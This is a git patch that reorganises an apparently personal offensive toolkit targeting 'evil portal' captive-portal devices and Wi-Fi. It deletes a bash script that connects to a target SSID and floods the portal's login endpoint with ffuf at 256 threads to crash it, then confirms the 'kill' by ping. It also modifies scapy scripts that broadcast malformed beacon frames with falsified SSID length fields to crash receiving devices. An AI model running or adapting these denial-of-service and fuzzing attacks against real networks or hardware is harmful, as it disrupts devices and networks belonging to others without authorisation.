From 95dc84024bc93b699744d0d71c998ac37c9e2cee Mon Sep 17 00:00:00 2001 From: PrincessPi3 Date: Tue, 24 Sep 2024 19:01:12 -0600 Subject: [PATCH] vazrious updates to fuzzing, more organization --- .gitignore | 3 ++ .../boofuzz-email-password.py | 0 evil-portal-sd-ruin.bak | 23 ---------- .../evil-portal-crash | 0 .../evil-portal-crash.py | 0 .../evil-portal-sd-ruin | 0 .../hex-chars-fuzzing.py | 0 .../hex-sniper-rifle.py | 0 .../incremental-buff-overrun.py | 0 sd-card-murder => evill-portal/sd-card-murder | 0 .../sd-card-murder.py | 0 maraduer-exploit-prose.txt => notes.txt | 0 pyenv.txt | 4 ++ rand.img | Bin 1489 -> 0 bytes scapy/wifi-beacon-fuzz.py | 3 +- scapy/wifi-beacon-random-byte.py | 43 +++++++++++++----- scapy/wifi-beacon-scapy.py.orig.bak | 20 -------- dump-script => sd-card-helpers/dump-script | 0 .../mount-marauder-sd | 0 .../umount-marauder-sd | 0 .../zero-recreate-sd | 0 connect-wifi => wifi-helpers/connect-wifi | 0 .../disconnect-wifi | 0 wifi-helpers/wifi-monitor | 9 ++++ 24 files changed, 49 insertions(+), 56 deletions(-) create mode 100644 .gitignore rename boofuzz-email-password.py => boofuzz-scripts/boofuzz-email-password.py (100%) delete mode 100644 evil-portal-sd-ruin.bak rename evil-portal-crash => evill-portal/evil-portal-crash (100%) rename evil-portal-crash.py => evill-portal/evil-portal-crash.py (100%) rename evil-portal-sd-ruin => evill-portal/evil-portal-sd-ruin (100%) rename hex-chars-fuzzing.py => evill-portal/hex-chars-fuzzing.py (100%) rename hex-sniper-rifle.py => evill-portal/hex-sniper-rifle.py (100%) rename incremental-buff-overrun.py => evill-portal/incremental-buff-overrun.py (100%) rename sd-card-murder => evill-portal/sd-card-murder (100%) rename sd-card-murder.py => evill-portal/sd-card-murder.py (100%) rename maraduer-exploit-prose.txt => notes.txt (100%) delete mode 100644 rand.img delete mode 100644 scapy/wifi-beacon-scapy.py.orig.bak rename dump-script => sd-card-helpers/dump-script (100%) rename mount-marauder-sd => sd-card-helpers/mount-marauder-sd (100%) rename umount-marauder-sd => sd-card-helpers/umount-marauder-sd (100%) rename zero-recreate-sd => sd-card-helpers/zero-recreate-sd (100%) rename connect-wifi => wifi-helpers/connect-wifi (100%) rename disconnect-wifi => wifi-helpers/disconnect-wifi (100%) create mode 100644 wifi-helpers/wifi-monitor diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d8c5b65 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +private-notes.txt +boofuzz +old \ No newline at end of file diff --git a/boofuzz-email-password.py b/boofuzz-scripts/boofuzz-email-password.py similarity index 100% rename from boofuzz-email-password.py rename to boofuzz-scripts/boofuzz-email-password.py diff --git a/evil-portal-sd-ruin.bak b/evil-portal-sd-ruin.bak deleted file mode 100644 index bb2525f..0000000 --- a/evil-portal-sd-ruin.bak +++ /dev/null @@ -1,23 +0,0 @@ -#!/bin/bash -wifi_device=wlan1 -ssid=Guest-WiFi -host="192.168.4.1" - -wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt - -sudo nmcli d disconnect $wifi_device > /dev/null - -sudo nmcli dev wifi rescan > /dev/null - -echo -e "\nCashing This Evil Portal With No Survivors\n" - -sudo nmcli device wifi connect $ssid ifname $wifi_device - -echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n" - -ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3 - -echo -e "\n\nPinging To Confirm Kill...\n" -ping -c 4 $host - -echo -e "\nThat Was Big Payload (4U)\nRIP" diff --git a/evil-portal-crash b/evill-portal/evil-portal-crash similarity index 100% rename from evil-portal-crash rename to evill-portal/evil-portal-crash diff --git a/evil-portal-crash.py b/evill-portal/evil-portal-crash.py similarity index 100% rename from evil-portal-crash.py rename to evill-portal/evil-portal-crash.py diff --git a/evil-portal-sd-ruin b/evill-portal/evil-portal-sd-ruin similarity index 100% rename from evil-portal-sd-ruin rename to evill-portal/evil-portal-sd-ruin diff --git a/hex-chars-fuzzing.py b/evill-portal/hex-chars-fuzzing.py similarity index 100% rename from hex-chars-fuzzing.py rename to evill-portal/hex-chars-fuzzing.py diff --git a/hex-sniper-rifle.py b/evill-portal/hex-sniper-rifle.py similarity index 100% rename from hex-sniper-rifle.py rename to evill-portal/hex-sniper-rifle.py diff --git a/incremental-buff-overrun.py b/evill-portal/incremental-buff-overrun.py similarity index 100% rename from incremental-buff-overrun.py rename to evill-portal/incremental-buff-overrun.py diff --git a/sd-card-murder b/evill-portal/sd-card-murder similarity index 100% rename from sd-card-murder rename to evill-portal/sd-card-murder diff --git a/sd-card-murder.py b/evill-portal/sd-card-murder.py similarity index 100% rename from sd-card-murder.py rename to evill-portal/sd-card-murder.py diff --git a/maraduer-exploit-prose.txt b/notes.txt similarity index 100% rename from maraduer-exploit-prose.txt rename to notes.txt diff --git a/pyenv.txt b/pyenv.txt index a033d92..ceb26da 100644 --- a/pyenv.txt +++ b/pyenv.txt @@ -1 +1,5 @@ +# start venv source boofuzz/env/bin/activate + +# toexit +deactivate \ No newline at end of file diff --git a/rand.img b/rand.img deleted file mode 100644 index 05b392770c916b155445d8bec7662fb92f9f87d9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1489 zcmV;?1upuFEZJhh#w%4sxIi+41fS-T5YcrZiSfAmj%(0!#pC+{t%m%{)^E7xoZw*C zpB5fMzgf$Pf#_#_gdaQz6YOJP=C5hzRxW@wwM&0Ve8XSw0)xz`M*F3oh8)` z+x@PbUD2O1q?~~jl_5C#+6LL|6hesNB~ZW3e;K(fP|Wp|nzXf{|mX4|`7u-L8iD$30=m3cK`hoyTMBxOq;>Qq79J_wYer5Ok z=N_gkhZ=0N{t~JyO6$&s4Fk)rZ?hsf^Qd)F(3^*(X~xnjtTYc>iXK&KM>T=1BYmj< zsp#cJC}eg=%R7kglqc^?+i~d)A{6s3z|?~8hUI(v<3W^vKtaHFrC>!IAcOAAK>#TJQcaRiMO6@5q1ut9kY+ft3p z%<)N7!*Fi>A2$B+mX~@aRowKI5|mITRK$#M7PdL($&C27=mN|1VG81{E?Dc|U#4tf zOg2T8@6oD24U@l8+))&%{FXDq*r|tNFz@i@maT=MU9WpRJ$$GFgnMOAT8qwXVk9%r z%w#R}*^gHika(pO+2YI8ZDviq7%wBu+QQ+n5t-wtM{y|BO%(0FT@vFjP}H8TMJ8-7 znuvGBW2wn#LJok$Rv_vQgt?3k(PT38-JoE4-rCa%|IT#o_{Hz{@$k}F9vr@C2t3t) zk_WFbO2--(-iREB*r{v)qDIr(D3yrm%a|Iz29Am<7)dJy<99BWY)wVvqJ9A2aDm-w zy;$)*!Gxmz9ilx^wy7SQzFl@gjI20$nA3JM`s?s_5PsMOHy~$|16~WilB5WKOnd7# zYhulJ_ZuUefH_Sriq$9XD9LhN+C&U~L2vA7&&Uec&_t^X(k&?iYO{P%`H>OVt=t8? zRO_kDApH*0F15IF_uI~6YiklFyLsVeqT0W@}Q-iN+B34V|?VB$dN0X2Uy zBB{X{tGrZy2q2E8nIl>4J~;_O#dny`;AAt^Vyie{$H9`w%2 z>4D6lxe;$ohve6=W^}d1fqZ${!|jvYxp{?Xe!(F**8Sz7CL%g7zuf4BZ&1(EqsjHo zTXSbW*+|{8Djn$zzc!IbG@k~hMfhY(ehdDvS$u$KBZq^db4Mrw;g3T?R3?V0;I?2qmP#R%FQPRy3oT&)A7sPBqV5F*tGsdG_?T+RBw zw~e7X7e&>T-$<+F?fjg)SsYdvlGUphKt3ML9cuAeCx3M;wVj~G@3(Y~jj0BdmY)U? z7Z-+B0jF#9i^8wD01Zesxo7Dg;+`(A|KbN64l|y3@Ko>OzyCvC6QYGR{#3MUVWnfa r4Qt*`KQZq;p>IWj3n1vVg?d!Id*SzAlJQa&R&4ZTb1j{oRjc2&AY=6< diff --git a/scapy/wifi-beacon-fuzz.py b/scapy/wifi-beacon-fuzz.py index 05db303..74751ff 100644 --- a/scapy/wifi-beacon-fuzz.py +++ b/scapy/wifi-beacon-fuzz.py @@ -30,7 +30,8 @@ def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.1 sendProbe(SSID, repeat, interval) def sendProbeFuzz(repeat=1, interval=0.150): - randMAC = RandMAC() + randMAC = '6e:07:9e:96:2b:4e' + # randMAC = RandMAC() randLen = RandNum(0, 255) randSSIDLen = random.randint(0,255) randSSIDBytes = random.randbytes(randSSIDLen) diff --git a/scapy/wifi-beacon-random-byte.py b/scapy/wifi-beacon-random-byte.py index 78a1bcb..323c6cb 100644 --- a/scapy/wifi-beacon-random-byte.py +++ b/scapy/wifi-beacon-random-byte.py @@ -5,7 +5,9 @@ from random import randbytes iface = 'wlan1' sender = 'ac:cb:12:ad:58:27' -def sendProbe(SSID, repeat=3, interval=0.100): +def sendProbe(SSID, + repeat=3, + interval=0.100): dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) beacon = Dot11Beacon() @@ -13,15 +15,25 @@ def sendProbe(SSID, repeat=3, interval=0.100): frame = RadioTap()/dot11/beacon/essid sendp(frame, iface=iface, inter=interval, count=repeat) -def sendProbeRaw(SSID, repeat=1, interval=0.200, listedLen=255): - dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', - addr2=sender, addr3=sender) - beacon = Dot11Beacon() - essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen) - frame = RadioTap()/dot11/beacon/essid - sendp(frame, iface=iface, inter=interval, count=repeat) +def sendProbeRaw(SSID, + repeat=1, + interval=0.200, + listedLen=255, + lenOverride=False): -def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.100): + dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) + beacon = Dot11Beacon() + if lenOverride: + essid = Dot11Elt(ID='SSID',info="F", len=RawVal(listedLen)) + else: + essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen) + frame = RadioTap()/dot11/beacon/essid + sendp(frame, iface=iface, inter=interval, count=repeat) + +def sendRandBytesBeacons(numOfBeacons=200, + lenOfSSIDs=20, + repeat=3, + interval=0.100): for i in range(numOfBeacons): SSID = randbytes(lenOfSSIDs) urlEncoded = urllib.parse.quote(SSID) @@ -30,8 +42,9 @@ def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.1 def sendRandBytesBeaconsRaw( numOfBeacons=200, - lenOfSSIDs=256, + lenOfSSIDs=255, listedLen=255, + lenOverridei=False, repeat=1, interval=0.2): @@ -39,7 +52,13 @@ def sendRandBytesBeaconsRaw( SSID = randbytes(lenOfSSIDs) urlEncoded = urllib.parse.quote(SSID) print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}") - sendProbeRaw(SSID, repeat, interval, listedLen) + sendProbeRaw(SSID, repeat, interval, listedLen, lenOverride=lenOverridei) + +sendRandBytesBeaconsRaw(numOfBeacons=200, + lenOfSSIDs=2, + listedLen=1, + lenOverridei=True, + repeat=3, + interval=0.1) -sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15) #sendRandBytesBeacons(100, 20, 5, 0.1) diff --git a/scapy/wifi-beacon-scapy.py.orig.bak b/scapy/wifi-beacon-scapy.py.orig.bak deleted file mode 100644 index 4308874..0000000 --- a/scapy/wifi-beacon-scapy.py.orig.bak +++ /dev/null @@ -1,20 +0,0 @@ -from __future__ import print_function -from scapy.all import ( Dot11, - Dot11Beacon, - Dot11Elt, - RadioTap, - sendp, - hexdump) - -SSID = 'Test SSID' -iface = 'wlan1' -sender = 'ac:cb:12:ad:58:27' - -dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', -addr2=sender, addr3=sender) -beacon = Dot11Beacon() -essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID)) - -frame = RadioTap()/dot11/beacon/essid - -sendp(frame, iface=iface, inter=0.100, loop=1) diff --git a/dump-script b/sd-card-helpers/dump-script similarity index 100% rename from dump-script rename to sd-card-helpers/dump-script diff --git a/mount-marauder-sd b/sd-card-helpers/mount-marauder-sd similarity index 100% rename from mount-marauder-sd rename to sd-card-helpers/mount-marauder-sd diff --git a/umount-marauder-sd b/sd-card-helpers/umount-marauder-sd similarity index 100% rename from umount-marauder-sd rename to sd-card-helpers/umount-marauder-sd diff --git a/zero-recreate-sd b/sd-card-helpers/zero-recreate-sd similarity index 100% rename from zero-recreate-sd rename to sd-card-helpers/zero-recreate-sd diff --git a/connect-wifi b/wifi-helpers/connect-wifi similarity index 100% rename from connect-wifi rename to wifi-helpers/connect-wifi diff --git a/disconnect-wifi b/wifi-helpers/disconnect-wifi similarity index 100% rename from disconnect-wifi rename to wifi-helpers/disconnect-wifi diff --git a/wifi-helpers/wifi-monitor b/wifi-helpers/wifi-monitor new file mode 100644 index 0000000..3ba494f --- /dev/null +++ b/wifi-helpers/wifi-monitor @@ -0,0 +1,9 @@ +if [ -z $1 ]; then + dev=wlan1 +else + dev=$1 +fi + +sudo airmon-ng check kill +sudo airmon-ng start $dev +sudo airmon-ng \ No newline at end of file